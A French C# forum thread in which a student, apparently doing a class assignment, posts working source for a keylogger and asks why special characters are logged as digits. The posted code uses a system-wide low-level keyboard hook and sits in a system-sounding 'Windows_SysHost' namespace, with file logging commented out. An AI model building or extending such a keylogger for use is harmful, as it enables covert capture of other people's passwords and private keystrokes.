Accueil > Forum > > > > L'ASCII c'est bien mais...
L'ASCII c'est bien mais...
mercredi 4 juillet 2012 à 16:20:36 |
L'ASCII c'est bien mais...

tigerskin
|
Bonjour à tous !
Dans un but éducatif, l'un des mes professeurs d'info nous a demandé de réaliser un petit keylogger en C#.
Il fonctionne à peu près mais j'ai un petit souci (sinon je ne serais pas la :p), voici un exemple : lorsque je tape sur la touche "&" (ampersand en ASCII), ma KeyValue vaut 49, ce qui correspond en ASCII au chiffre 1. Mon programme écrit donc "1" au lieu de "&", et j'ai évidemment le même problème pour tous mes caractères spéciaux...
Quelqu'un aurait-il une idée pour contourner ce problème ?
Merci d'avance !
|
|
mercredi 4 juillet 2012 à 19:36:28 |
Re : L'ASCII c'est bien mais...

whismeril
|
Bonsoir, commence par faire voir ton code....
citation de NHenry:
- Pour poser correctement une question et optimiser vos chances d'obtenir des réponses, pensez à lire le règlement CS, celui-ci pour bien poser votre question ou encore celui-ci pour les PFE et autres exercices
- Quand vous postez un code, merci d'utiliser la coloration syntaxique (3ième icône en partant de la droite :
)
- En VB.NET pensez à activer Option Explicit et Option Strict (propriété du projet) et à retirer l'import automatique de l'espace de nom Microsoft.VisualVasic (onglet Références dans les propriétés du projet).
- Si votre problème est résolu (et uniquement si c'est le cas), pensez à mettre "Réponse acceptée" sur le ou les messages qui vous ont aidés.
Whismeril
|
|
lundi 9 juillet 2012 à 09:38:19 |
Re : L'ASCII c'est bien mais...

madkeyboard
|
Salut,
Tu peux essayer de fonctionner avec la propriété KeyCode ??
Mais comme dis whismeril, tant que tu ne nous met pas ton exemple de code, on aura qu'une très vague idée de ce que tu cherche à faire, et on va avoir du mal à t'aider...
Mad Keyboard
|
|
lundi 9 juillet 2012 à 11:43:48 |
Re : L'ASCII c'est bien mais...

tigerskin
|
Salut !
Tu peux essayer de fonctionner avec la propriété KeyCode ??
J'ai déjà essayé mais j'ai le même souci.
Je vous mets le code cet après-midi, désolé de ne pas l'avoir fait avant 
|
|
lundi 9 juillet 2012 à 13:34:32 |
Re : L'ASCII c'est bien mais...

tigerskin
|
Ci-dessous la partie qui me sert au hook.
Code C# :
using System;
using System.Text;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Windows.Forms;
public class GlobalKeyboardHook
{
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr hhk, int code, int wParam, ref keyBoardHookStruct lParam);
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, LLKeyboardHook callback, IntPtr hInstance, uint theardID);
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
public delegate int LLKeyboardHook(int Code, int wParam, ref keyBoardHookStruct lParam);
public struct keyBoardHookStruct
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
const int WH_KEYBOARD_LL = 13;
const int WM_KEYDOWN = 0x0100;
const int WM_KEYUP = 0x0101;
const int WM_SYSKEYDOWN = 0x0104;
const int WM_SYSKEYUP = 0x0105;
LLKeyboardHook llkh;
public List<Keys> HookedKeys = new List<Keys>();
IntPtr Hook = IntPtr.Zero;
public event KeyEventHandler KeyDown;
public event KeyEventHandler KeyUp;
// This is the Constructor. This is the code that runs every time you create a new GlobalKeyboardHook object
public GlobalKeyboardHook()
{
llkh = new LLKeyboardHook(HookProc);
// This starts the hook. You can leave this as comment and you have to start it manually (the thing I do in the tutorial, with the button)
// Or delete the comment mark and your hook will start automatically when your program starts (because a new GlobalKeyboardHook object is created)
// That's why there are duplicates, because you start it twice! I'm sorry, I haven't noticed this...
// hook(); <-- Choose!
}
~GlobalKeyboardHook()
{ unhook(); }
public void hook()
{
IntPtr hInstance = LoadLibrary("User32");
Hook = SetWindowsHookEx(WH_KEYBOARD_LL, llkh, hInstance, 0);
}
public void unhook()
{
UnhookWindowsHookEx(Hook);
}
public int HookProc(int Code, int wParam, ref keyBoardHookStruct lParam)
{
if (Code >= 0)
{
Keys key = (Keys)lParam.vkCode;
if (HookedKeys.Contains(key))
{
KeyEventArgs kArg = new KeyEventArgs(key);
if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
KeyDown(this, kArg);
else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
KeyUp(this, kArg);
if (kArg.Handled)
return 1;
}
}
return CallNextHookEx(Hook, Code, wParam, ref lParam);
}
}
|
|
lundi 9 juillet 2012 à 13:44:01 |
Re : L'ASCII c'est bien mais...

tigerskin
|
Et voici la partie "Fenêtre"
Code C# :
namespace Windows_SysHost
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
GlobalKeyboardHook gHook;
private void Form1_Load(object sender, EventArgs e)
{
gHook = new GlobalKeyboardHook();
gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
foreach (Keys key in Enum.GetValues(typeof(Keys)))
gHook.HookedKeys.Add(key);
gHook.hook();
}
// Quand une touche est pressée
public void gHook_KeyDown(object sender, KeyEventArgs e)
{
//StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
//sw.Write((char)e.KeyValue);
//sw.Close();
textBox1.Text += ((char)e.KeyData).ToString();
}
//Fermeture de la fenêtre
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
gHook.unhook();
}
}
}
|
|
lundi 9 juillet 2012 à 15:21:44 |
Re : L'ASCII c'est bien mais...

jopop
|
Salut,
d'après ce lien, hors [0-9][A-Z] , il n'y a pas de correspondance sûre entre les KeyCode/Data/Value et l'encodage ASCII.
|
|
lundi 9 juillet 2012 à 17:26:14 |
Re : L'ASCII c'est bien mais...

tigerskin
|
Merci pour la réponse.
Donc si je comprends bien, je dois traiter manuellement les codes retour KeyValue pour pouvoir afficher la "vraie" touche tapée par l'utilisateur ?
|
|
mardi 10 juillet 2012 à 09:00:18 |
Re : L'ASCII c'est bien mais...

jopop
|
J'en ai bien peur. A voir si d'autres helpers arrivent avec de meilleures nouvelles.
|
|
mardi 10 juillet 2012 à 10:44:43 |
Re : L'ASCII c'est bien mais...

madkeyboard
|
Salut !
Je suis loin d'être un spécialiste, et j'ai jamais codé de hook, donc je pige pas tout dans le détail le fonctionnement de ton programme...
Par contre, j'ai tenté de le faire tourner chez moi, j'en arrive à la même conclusion que jojpop : faut tout revoir à la main ! (dans ce cas là, c'est le code de la flèche du haut qui donne le "&" !)
J'ai la sensation que y'a d'autres solutions, mais c'est pas moi qui les ais ^^
Bon courage !
Mad Keyboard
|
|
Cette discussion est classée dans : problème, ascii
Répondre à ce message
Sujets en rapport avec ce message
Problème d'accentuation avec les sockets [ par tiborg ]
Bonjour,Je suis actuellement à la recherche d'un exemple simple de chat. Et à chaque fois que j'essaie une source ou que je la programme j'ai un probl
La Fonction ASCII et Chr() [ par DrChal ]
DrChalSalut,Je cherche le moyen de remplacer une chaîne de caractère par un retour chariot.En Vb, il y avait chr(10)+chr(13) mais maintenant en C#, c'
changement de form après un click [ par BadFox ]
salut,mon problème est que j'ai une form avec un bouton où lorsque je clique dessus, je voudrais changer tout ce qu'il y a sur cette form mais en la g
dataGrid problème [ par pjerier ]
bonjour à tous, je voudrais ecrire dans l'en-tête d'une ligne d'une dataGrid -> si quelqu'un peut m'aider..Merci d'avance !! Le language utilisé est l
datagrid et bouton radio... [ par titou65 ]
Bonjour,Je bosse sur un datarid en mode Web...je pense que pour une window form mon problème aurait la même solution.J'ai donc un datagrid qui m'affic
problème avec des ListeView (C#) [ par Zaecken ]
Je n'arrive pas à afficher les SubItem. je fais: ListViewItem liste = new ListViewItem(new string[]{"aa" , "bb" , "cc"}); lv.Items.Add(liste); (lv est
System.Net.SocketPermission... [ par houseclubber ]
J'ai un problème. J'ai testé une source de ce site qui fait un client serveur multi telnet qui fonctionne chez moi, mais pas à mon école...Voici l'err
problème de guillemets [ par lpoinsot ]
J'ai un petit problème je cherche à mettre des guillemets dans un chaine de caractère...par exempleChaine = ""mais ça marche po, même en mettant 2" av
code ascii [ par alcamatt ]
comment peut on reccupérer le code ascii d'un caractere avec csharp ?En visual basic, je crois me rappeler qu'il fallait utiliser la fonction Asc()mer
Problème d'Upload de fichier Image [ par pchanet ]
Bonjour à tous,J'ai un problème avec le code de téléchargement d'une image. Lorsque j'active le téléchargement, une erreur s'affiche :->> "La référenc
Livres en rapport
|
Derniers Blogs
INTéGRATION YAMMER ET SHAREPOINT ONLINE (OFFICE 365), éTAPE 1 .INTéGRATION YAMMER ET SHAREPOINT ONLINE (OFFICE 365), éTAPE 1 . par Patrick Guimonet
#Yammer Certains s'en sont déjà fait l'écho (ici en allemand par exemple : Yammer Integration in Office 365 Phase 1) ou bien sûr sur le blog SharePoint : Make Yammer your default social network in Office 365 en anglais. Mais c'e...
Cliquez pour lire la suite de l'article par Patrick Guimonet [DYNAMICS CRM] AJOUTER LES DOSSIERS DE CRM AU DOSSIER FAVORIS D'OUTLOOK[DYNAMICS CRM] AJOUTER LES DOSSIERS DE CRM AU DOSSIER FAVORIS D'OUTLOOK par bianca
Objectif
Pour aller plus rapidement dans les menus de Dynamics CRM depuis votre client CRM pour Outlook, vous pouvez utiliser le dossier des Favoris d'Outlook. En effet, par simple glisser/déplacer, vous pouvez déposer un éléme...
Cliquez pour lire la suite de l'article par bianca VISUAL STUDIO 2013VISUAL STUDIO 2013 par Etienne Margraff
Ahh, ENFIN ! c'est officiel, il va y avoir un VS et un TFS 2013. De nouvelles fonctionnalités qui vont à mon sens assoir la maturité de TFS qui est maintenant l'outil incontournable pour tout projet (.NET, mais pas seulement !). Si vous n'avez pas jet...
Cliquez pour lire la suite de l'article par Etienne Margraff CONFIGURER LA COLLATION SQL SERVER POUR SHAREPOINT CONFIGURER LA COLLATION SQL SERVER POUR SHAREPOINT par JeremyJeanson
Note : Je poste cet article à titre de pense-bête. Cela fait des années que je me trimballe avec une capture d'écran, car je ne me rappel jamais comment choisir la collation d'un SQL Server pour SharePoint. Pour SharePoint, il est conseillé de choisir la ...
Cliquez pour lire la suite de l'article par JeremyJeanson ETENDRE LE TEAM WEB ACCESS DE TFS 2012 - STEP 1: CRéATION DU PLUGINETENDRE LE TEAM WEB ACCESS DE TFS 2012 - STEP 1: CRéATION DU PLUGIN par Philess
Dans cet article nous allons créer un plugin installable sur le Team Web Access qui s'intègrera dans l'architecture du site et se chargera au moment où on le décidera.
Avant de lire ce billet et si cela n'est pas encore fait j...
Cliquez pour lire la suite de l'article par Philess
Forum
REGION MEMOIREREGION MEMOIRE par atoukc
Cliquez pour lire la suite par atoukc
Logiciels
Nego Facturation (1.85)NEGO FACTURATION (1.85)Nego Facturation est un logiciel complet qui permet de gérer vos factures et devis très simplemen... Cliquez pour télécharger Nego Facturation Devis-Factures PHMSD (2.2.0.1)DEVIS-FACTURES PHMSD (2.2.0.1)Configuration minimale
Nécessite Windows™ 2000, XP, Windows 7, 8, Vista (Service Pack à... Cliquez pour télécharger Devis-Factures PHMSD WDmemoCode (2.0.0.1)WDMEMOCODE (2.0.0.1)WDmemoCode a été conçu pour aider les développeurs Windev à créer/compléter et conserver une base... Cliquez pour télécharger WDmemoCode ProtoMedic (4.0.0.11)PROTOMEDIC (4.0.0.11)ProtoMedic est un logiciel destiné principalement aux médecins généralistes.
ProtoMedic permet d... Cliquez pour télécharger ProtoMedic MyCurriculum 2011 (7.4.1.12)MYCURRICULUM 2011 (7.4.1.12)Rédigez votre Curriculum Vitae mais également ceux de votre famille ou de vos amis très facilemen... Cliquez pour télécharger MyCurriculum 2011
|